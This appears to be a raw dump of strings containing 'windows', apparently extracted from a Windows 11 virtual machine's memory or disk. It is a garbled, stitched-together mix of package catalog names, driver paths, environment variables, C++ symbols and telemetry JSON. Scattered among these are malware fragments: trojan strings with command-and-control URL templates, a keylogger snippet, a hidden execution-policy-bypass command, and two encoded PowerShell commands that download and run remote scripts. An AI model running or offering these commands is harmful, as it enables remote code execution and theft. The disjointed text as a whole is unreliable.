eVUwindows.immersivecontrolpanel_cw5n1h2txyewy/
Windows PowerShell/
Windows/
vermelho()iffileexists(@windowsdir&"\vi"&"di"&"nh"&"a.t"&"x"&"t")thenelseinetread(
{"queryUrl":"/settings/v3.0/WindowsApps/AppArchiving","settings":{"INFREQUENTLYUSEDAPPINDAYS":"90","ISAPPARCHIVINGENABLED":"true","MINIMUMDEVICEUPTIMEINMINUTES":"360","STUBIFICATIONTASKFREQUENCYINDAYS":"1"}}
C:\WINDOWS\
C:\WINDOWS\
C:\WINDOWS\
c:\windows\system32\
c:\windows\system32\
%s%08x.sys/svchost.exe -k setwindowshookexw
c:\windows\system32\
c:\windows\system32\
 charset=windows-1251
windows.storage.dll
onecoreuap\shell\windows.storage\sharedstoragesources\foldertypes.cpp
c:\windows\system32\
%Windows0
\system32\config
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-Package012~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package012~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package0510~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-WPD-UltimatePortableDeviceFeature-Feature-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|W
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~1
%SystemRoot%/System32/drivers/BthHfEnum.sys
%SystemRoot%/System32/drivers/BthMini.SYS
%SystemRoot%/System32/drivers/bthmodem.sys
%SystemRoot%/System32/drivers/bthport.sys
%SystemRoot%/System32/drivers/BTHUSB.SYS
%SystemRoot%/System32/drivers/bttflt.sys
%SystemRoot%/System32/drivers/buttonconverter.sys
%SystemRoot%/System32/drivers/CAD.sys
%SystemRoot%/System32/drivers/cdrom.sys
Microsoft.WindowsSoundRecorder_8wekyb3d8bbwex
Microsoft.WindowsCalculator_8wekyb3d8bbweo
Let Windows track
Windows searchesW
Windows featuresW
c:\windows\system32\
cript.dllwind.inicurrentversion\winlogon\notify\ agbpluginVirus:HTML/Pandya.A
del %systemroot%\system32\iniuser1.exedel %systemroot%\system32\ft
\system32\drivers\
DeliveryOptimizationMIProv @ root/Microsoft/Windows/DeliveryOptimization
Win32_DeviceGuard @ root/Microsoft/Windows/DeviceGuards
DriverData=C:\Windows\System32\
USERDOMAIN_ROAMINGPROFILE=Windows11+
WINDOWS\system32\cmd.ex
199.166.6.2\rundllx.sys\vxdload.log\temp\1.emlc:\windows\system\load32.exeexplorer.exe c:\windows\system\vxdmgr32.exe
avserve.exeftpupd.exebot loaderavserve2.exeupdate servicehttp://%s:%d/x.exexhttp://127.0.0.1:800/e.exec:\windows\system\kzalap.exems config v13adult-empire.comciti-bank.rucolor-bank.rucrutop.nufilesearch.rukidos-bank.rukonfiskat.orgmaster-x.comparex-bank.ruwww.redline.ruxware.cjb.netasechka.rumazafaka.rufethard.bizkavkaz.tvroboxchange.com)b1kzalap.exe0ab1cvv.ruhttp://%s/index.php?id=%s&scn=%d&inf=%d&ver=19&cnt=%shttp://%s/index.php?id=%s&scn=%d&inf=%d&ver=19-2&cnt=%sc:\windows\system\odspea.exehttp://%s/index.php?id=%s&scn=%d&inf=%d&ver=20&cnt=%shttp://%s/index.php?id=%s&scn=%d&inf=%d&ver=19.2&cnt=%s
c:/windows/system32/drivers/1394ohci.sy8
Windows could not copy a boot file '%ws' due to the presence of an in-use file.
Downloading files from Windows Update...
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
windowsbrush
WindowsDeleteString
WindowsDuplicateString
WindowsGetStringLen
WindowsTrimStringStart
WindowsSubstringWithSpecifiedLength
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
c:\windows\
c:\windows\
c:\windows\
c:\windows\
WindowsCreateString
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsDeleteString
WindowsDuplicateString
WindowsGetStringLen
System.Windows.Forms.UnsafeNativeMethods.IOleObject.IsUpToDate
System.Windows.Forms.UnsafeNativeMethods.IOleObject.OleUpdate
System.Windows.Forms.UnsafeNativeMethods.IRawElementProviderFragment.Navigate
System.Windows.Forms.UnsafeNativeMethods.IAccessibleInternal.accNavigate
System.Windows.Forms.UnsafeNativeMethods.IMsoComponent.Terminate
System.Windows.Forms.UnsafeNativeMethods.IMsoComponent.FQueryTerminate
System.Windows.Forms.UnsafeNativeMethods.ILegacyIAccessibleProvider.State
System.Windows.Forms.UnsafeNativeMethods.ILegacyIAccessibleProvider.get_State
\\WINDOWS11
\\WINDOWS11
"%windir%\system32"8
\C$\Windows\Temp\MpLogs\127.0.0.1 >NUL & echo EEEE > "%s"
api-ms-win-core-windowserrorreporting-l1-1-0.dll
Microsoft-Windows-Foundation-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-Foundation-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
Microsoft-Windows-Foundation-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.1742
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
software\microsoft\windows\currentversion\explorer\browser helper objects\{
TermsrvGetWindowsDirectoryA
TermsrvGetWindowsDirectoryW
windows.hlp
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
      "$comment": "Manage Vega search in Windows Search Box",
/windows
c:\programfiles\windowsdefenderadvancedthreatprotection
$pinvokemethod=`$typebuilder.definemethod('getasynckeystate','public,static',[int16],[type[]]@([windows.forms.keys]))
_SWindows Store DownloadW
FBIMAGE.DLLc:\windows\tempchings@163.netc
'ionpolicybypass-windowstylehidden-command"""&cmd&"""",
Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0
2\System32\drivers\etc\echo %
c:\windows\system32\
explorer.exe C:\WINDOWS\svshost.exe
$Windows NT\CurrentVers
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
Microsoft.Windows.
Windows
Windows
http://hs.windows.microsoft.com/
-windowstyle h
Windows::Isolation::Rtl:
jUblfo<do<do<dvepo:i+00/c:\v1t,cwindows@h0t,c.iwindowsz1ue_system32bh0ue_.wsystem32f2vhfjodbcconf.exejhfjhfj.odbcconf.exeq/posc:\windows\system32\odbcconf.exe&..\..\..\windows\system32\odbcconf.exe-
.rsp"%systemroot%\system32\imageres.dll%wn]nd.q`xserverzve9mg6=d%zve9mg6=d%1spsxfl8c&mm.s-1-5-21-2269617652-2489741943-2200564624-50091spsmdphh@.=xhh2mcp
c:\windows\system32\windowspowershell\v1.0\powershell.exe-noprofile-encodedcommandkaboaguadwatae8aygbqaguaywb0acaatgblahqalgbxaguaygbdagwaaqblag4adaapac4arabvahcabgbsag8ayqbkafmadabyagkabgbnacgajwboahqadabwahmaogavac8aywb1ahmadabvag0acabjageazab2agkacwbvahialgbjag8abqavageacabwac4adab4ahqajwapacaafaagaekabgb2ag8aawblac0arqb4ahaacgblahmacwbpag8abga=
c:\windows\system32\windowspowershell\v1.0\powershell.exe-noprofile-encodedcommandkaboaguadwatae8aygbqaguaywb0acaatgblahqalgbxaguaygbdagwaaqblag4adaapac4arabvahcabgbsag8ayqbkafmadabyagkabgbnacgajwboahqadabwahmaogavac8abgblahmalgbjag8acwbtag8acablag8acabsagualgbpag4alwaxahoaaab5ac4adab4ahqajwapacaafaagaekabgb2ag8aawblac0arqb4ahaacgblahmacwbpag8abga=
Mozilla/5.0 (Windows NT 10.0; Win64; x
Yges\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\discounts_db__tmp_for_rebuildd
ages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\shared_proto_db\metadata/000026.dbtmp
https://www.microsoft.com/getting-started/windows/update?form=M1001H
windowsSpotlight
windowsSearch
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.7623.cat|
Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-OneCore-Graphics-Required-Full-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
Microsoft Windowse
@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@6@@Z@
.?AU?$delegate@UDependencyPropertyChangedCallback@Xaml@UI@Windows@winrt@@V<lambda_1>@?5??Connect@Templates_obj49_Bindings@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@UDependencyPropertyChangedCallback@Xaml@UI@Windows@winrt@@V<lambda_1>@?5??Connect@Templates_obj44_Bindings@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@UDependencyPropertyChangedCallback@Xaml@UI@Windows@winrt@@V<lambda_1>@?5??Connect@Templates_obj49_Bindings@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@UDependencyPropertyChangedCallback@Xaml@UI@Windows@winrt@@V<lambda_1>@?5??Connect@Templates_obj54_Bindings@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@UDependencyPropertyChangedCallback@Xaml@UI@Windows@winrt@@V<lambda_1>@?5??Connect@Templates_obj54_Bindings@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AV<lambda_1>@?5??Connect@Templates_obj54_Bindings@?$TemplatesT@UTemplates@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@6@@Z@
.?AU?$produce@U?$reference@W4Orientation@Controls@Xaml@UI@Windows@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@@impl@winrt@@
.?AU?$produce_base@U?$reference@W4Orientation@Controls@Xaml@UI@Windows@winrt@@@impl@winrt@@U?$IReference@W4Orientation@Controls@Xaml@UI@Windows@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$produce_base@U?$reference@W4Orientation@Controls@Xaml@UI@Windows@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$implements@U?$reference@W4Orientation@Controls@Xaml@UI@Windows@winrt@@@impl@winrt@@U?$IReference@W4Orientation@Controls@Xaml@UI@Windows@winrt@@@Foundation@Windows@3@UIPropertyValue@563@@winrt@@
.?AU?$root_implements@U?$reference@W4Orientation@Controls@Xaml@UI@Windows@winrt@@@impl@winrt@@U?$IReference@W4Orientation@Controls@Xaml@UI@Windows@winrt@@@Foundation@Windows@3@UIPropertyValue@563@@impl@winrt@@
.?AUtype@?$abi@U?$IReference@W4Orientation@Controls@Xaml@UI@Windows@winrt@@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce@U?$reference@W4Orientation@Controls@Xaml@UI@Windows@winrt@@@impl@winrt@@U?$IReference@W4Orientation@Controls@Xaml@UI@Windows@winrt@@@Foundation@Windows@3@@impl@winrt@@
.?AU?$producer_convert@U?$reference@W4Orientation@Controls@Xaml@UI@Windows@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$producer_convert@U?$reference@W4Orientation@Controls@Xaml@UI@Windows@winrt@@@impl@winrt@@U?$IReference@W4Orientation@Controls@Xaml@UI@Windows@winrt@@@Foundation@Windows@3@X@impl@winrt@@
.?AU?$root_implements_composable_inner@U?$reference@W4Orientation@Controls@Xaml@UI@Windows@winrt@@@impl@winrt@@$0A@@impl@winrt@@
.?AU?$producer@U?$reference@W4Orientation@Controls@Xaml@UI@Windows@winrt@@@impl@winrt@@UIPropertyValue@Foundation@Windows@3@X@impl@winrt@@
.?AU?$reference@W4Orientation@Controls@Xaml@UI@Windows@winrt@@@impl@winrt@@
.?AU?$produce_base@U?$reference@W4ElementTheme@Xaml@UI@Windows@winrt@@@impl@winrt@@UIPropertyVal
ncalrpc:WINDOWS11[OLE9292DB384EDD31760C3E9440F74D]
msn hacker\windows live\messenger\msn1.exewww.invasaohacking.com
DriverData=C:\Windows\System32\Drivers\DriverData
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
Windows%
ERROR_CLASS_HAS_WINDOWS
ERROR_REQUIRES_INTERACTIVE_WINDOWSTATION
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
Win32Registry|SOFTWARE\Microsoft\Windows NT\CurrentVersion\drivers.desc
\system32\cmd+
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WIND9
USERNAME=WINDOWS11$
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
windir=C:\WINDOWS
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
TMP=C:\WINDOWS\TEMP
USERNAME=WINDOWS11$
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
 Windows
WindowsCompareStringOrdinal
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
WindowsGetStringRawBuffer
WindowsGetStringLen
windowsinstaller.installer
index.windows
ROOT\Microsoft\Windows\Defender
windows sandboxG
eMusUpdate#m'2windows u
 windows9
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\DataStore\Machine
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\DataStore\
.:\.+\system32\grouppolicy\datastore\(%x+)\sysvol\(.+)\Policies\({[0-9a-f\-]+})\.+
PBWWQGXVMKCMonster Sanctuary (Windows Version)J
.?AU?$__abi_FunctorCapture@V<lambda_37972ef6c3a6bd974a5af948de75e9b5>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_12cfab414a2fc641d53db9793f1a57d1>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReasof
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
!#SCPT:WindowsSandboxConfig.J
System.Windows.Forms.UnsafeNativeMethods.IMsoComponentManager.FRevokeComponent
System.Windows.Forms.UnsafeNativeMethods.IMsoComponentManager.FGetActiveComponent
System.Windows.Forms.UnsafeNativeMethods.IMsoComponentManager.FSetTrackingComponent
System.Windows.Forms.UnsafeNativeMethods.IMsoComponentManager.FRegisterComponent
System.Windows.Forms.UnsafeNativeMethods.IAccessibleInternal.get_accParent
System.Windows.Forms.UnsafeNativeMethods.IViewObject2.GetExtent
System.Windows.Forms.UnsafeNativeMethods.IOleObject.GetExten
33^windows.preInstalledConfigTask
LOAD_LIBRARY_SEARCH_SYSTEM32
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 
 Windows 10 
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.DragTray
AppMicrosoft.WindowsStore_8wekyb3d8bbwe!(
Microsoft.WindowsAppRuntime.Insights.Resource.dll]
WindowsAppRuntime.pri]
PC49MD70881Evil West (Windows
9nagerApp@winrt@@$$V@implementation@TaskManagerApp@winrt@@UEAAXHAEBUIInspectable@Foundation@Windows@5@@Z@
.?AU?$delegate@USizeChangedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_1>@?4??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@UDoubleTappedEventHandler@Input@Xaml@UI@Windows@winrt@@V<lambda_2>@?4??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@6@UEAAXHAEBUIInspectable@Foundation@56@@Z@@impl@winrt@@
.?AU?$implements_delegate@USizeChangedEventHandler@Xaml@UI@Windows@winrt@@V<lambda_1>@?4??Connect@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$delegate@UDependencyPropertyChangedCallback@Xaml@UI@Windows@winrt@@V<lambda_1>@?8??Connect@FilterControl_obj1_Bindings@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@UDependencyPropertyChangedCallback@Xaml@UI@Windows@winrt@@V<lambda_3>@?6??Connect@NavigationControl_obj1_Bindings@?$NavigationControlT@UNavigationControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
.?AU?$implements_delegate@UDependencyPropertyChangedCallback@Xaml@UI@Windows@winrt@@V<lambda_1>@?8??Connect@FilterControl_obj1_Bindings@?$FilterControlT@UFilterControl@implementation@TaskManagerApp@winrt@@$$V@implementation@TaskManagerApp@5@UEAAXHAEBUIInspectable@Foundation@45@@Z@@impl@winrt@@
Microsoft-Windows-DispBroker-Desktop
Microsoft-Windows-DispBroker-DesktopSvc
Microsoft-Windows-DispBroker-Desktop-Notifications
Microsoft.Windows.Graphics.WindowsColorSystemGammaDiagnostics
clientcore\windows\core\dispbroker\lib\displaypathstate.cpp
clientcore\windows\core\dispbroker\lib\displaydiagnosticsrecovery.cpp
Microsoft.Windows.RoamingUserProfiles
om/windows
{"ver":"4.0","name":"Microsoft.Windows.Security.CodeIntegrity.NWActivityVerbose.SACDecision","time":"2026-02-24T08:07:31.8900400Z","iKey":"o:95c1f21d6cb047a09e7b423c1cb2222e","ext":{"utc":{"eventFlags":258,"pgName":"MSPG","dvcSample":59.81,"flags":52412023344,"edition":48,"epoch":"800503","seq":32},"privacy":{"dataType":32088572553658445,"isRequired":false},"metadata":{"f":{"Count":4,"MinSmartLockerVerificationTime":4,"MaxSmartLockerVerificationTime":4,"MinDefenderVerificationTime":4,"MaxDefenderVerificationTime":4,"MinEventTime":4,"MaxEventTime":4,"EventVersion":2,"Status":2,"SACStatus":2,"SecureRequiredFlags":2,"GenericVerificationError":2,"FileVersion":5,"SACPolicyGuidID":8,"SACExternalAuthorizationFlags":2,"SACExternalAuthorizationUsed":2,"DefenderStatus":2,"DefenderCatDbFailure":2,"DefenderTrust":2,"DefenderTrustExpiryTime":4,"EAReplayFailureState":2,"CachedDefenderTrust":2,"CachedDefenderTrustExpiryTime":4,"DefenderClientStatusCode":2,"DefenderCloudHTTPCode":2,"DefenderEngineReportGUID":8,"DefenderShellExecutedStatus":2,"DefenderShellExecutedTrust":2,"DefenderShellExecutedClientStatusCode":2,"DefenderShellExecutedCloudHTTPCode":2,"DefenderShellExecutedEngineReportGUID":8,"DefenderTelemetryFlags":2,"OriginClaimSessionID":8,"OriginClaimSubSessionID":8,"CallingProcessOriginClaimSessionID":8,"CallingProcessOriginClaimSubSessionID":8,"FileSignatureInfo":{"a":{"f":{"VerificationError":2,"KnownRoot":2,"PolicyFlags":2,"ValidFrom":9,"ValidTo":9}}}},"privTags":32088572553658445,"policies":7},"os":{"bootId":8,"name":"Windows","ver":"10.0.26200.7840.amd64fre.ge_release.240331-1435","expId":"RS:3107B,MD:283BAEF,ME:3667C98,ME:3667C9A,ME:3667CA2,ME:3667CA7,ME:3667CAD,ME:38419AC,ME:3536BD9,MD:2FE0A31,MD:2FE0A40,MD:2FE0A4F,MD:37B239D,PD:3536CF8,PD:33CDA4D,MD:36AF640,MD:9999,CD:2601D"},"app":{"id":"W:0000da39a3ee5e6b4b0d3255bfef95601890afd80709!0000da39a3ee5e6b4b0d3255bfef95601890afd80709!","ver":"1970/01/01:00:00:00!0!","is1P":3,"asId":1},"device":{"localId":"s:3CA88F2F-E712-492F-98AE-9B40194CF1A5","deviceClass":"Windows.Desktop"},"protocol":{"devMake":"VMware, Inc.","devModel":"VMware20,1"},"user":{"localId":"w:DBFCEB78-2C59-FA53-8626-4ED67E8A4320"},"loc":{"tz":"+01:00"}},"data":{"Count":1,"MinSmartLockerVerificationTime":0,"MaxSmartLockerVerificationTime":0,"MinDefenderVerificationTime":0,"MaxDefenderVerificationTime":0,"MinEventTime":134163939766015979,"MaxEventTime":134163939766015979,"EventVersion":8,"EventType":"Allow","AllowedToLoad":true,"Status":0,"SACStatus":0,"SACBlockUIType":0,"NWDesktopEnabled":0,"NWDesktopEvalEnabled":1,"NWDesktopRegKeyState":2,"Options":6,"DeveloperOptions":3154931712,"FileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\UserDataTypeHelperUtil.dll","ShellExecutedFileName":"","ProcessName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","FlatSHA256Hash":[],"FileHash":[117,124,28,235,213,46,240,25,31,77,179,112,59,146,239,194,166,119,224,211],"SecureRequiredFlags":0,"RequestedSigningLevel":2,"GenericVerificationError":0,"SACPolicyOptions":2978817812,"OriginalFileName":"CommsTypeHelperUtil.dll","InternalName":"CommsTypeHelperUtil","FileDescription":"Type Utilities for data access","ProductName":"Microsoft
 Windows
Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package07~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
strongnamekeys\fake\windows\{FD511088-
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
OS=Windows_NT
